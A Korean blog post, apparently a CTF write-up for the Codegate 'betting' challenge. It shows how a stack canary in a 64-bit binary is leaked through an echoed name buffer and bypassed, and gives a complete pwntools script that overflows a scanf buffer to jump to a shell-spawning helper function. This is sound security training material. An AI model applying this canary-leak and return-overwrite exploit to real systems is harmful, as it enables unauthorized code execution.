티스토리 뷰

코드게이트 본선에 출제 되었던 betting write-up 이다.


file


64bit elf 파일이다.


카나리와 nx가 활성화 되어있다.


분석



메인함수 이다.


s의 위치는 bp-20h 이다.

read로 s에 입력을 0x28만큼 받을 수 있다.


카나리 변수 v24가 bp-8h이니


메모리 구조는

                                         ebp

S+etc (24byte) | sfp(8byte) | ret(8byte)


이렇게 된다.


따라서 s를 40만큼 입력할 수 있으니 canary leak이 가능하다.


Hi, s가 출력된다.


canary의 첫 바이트는 null 이므로


S(bp-20h) 부터 25byte를 입력받으면 저 부분에서 나머지 7byte leak이 가능하다.

그 이후 scanf로 v22를 입력받는데 여기서 bof가 가능하다.


참고로

helper라는 함수가 있어서 CANARY 우회 후 RET을 HELPER로 뛰면 된다.




helper 함수의 주소는 0x4008f6이다.



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

from pwn import *

s = process("./betting")

helper = 0x4008f6

s.recvuntil('name? ')

s.send("A"*25)

s.recv()

s.sendline("1000")

s.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAA')

canary = s.recv(7)

canary = '\x00'+canary

print("canary :" + canary)

print(s.recv())

s.sendline("1000")

print(s.recv())

# attack

payload = ''

payload += "A"*40

payload += canary

payload += "A"*8

payload += p64(helper)

s.sendline(payload)

s.interactive()

cs


코드이다.



쉘을 얻었다. 참고로 while문을 나올때까지 해야한다.


'pwnable > CTF write-up' 카테고리의 다른 글

[trustealth]easy write-up  (0) 2018.05.13
[CSAW2013] Exploitation-1 write-up  (0) 2018.05.12
[Codegate 2017] babypwn write-up  (0) 2018.01.30
[Plaid CTF] ropasaurusrex write-up  (0) 2018.01.29
[Defcon CTF 2015 예선]babycmd write-up  (0) 2018.01.26
Comments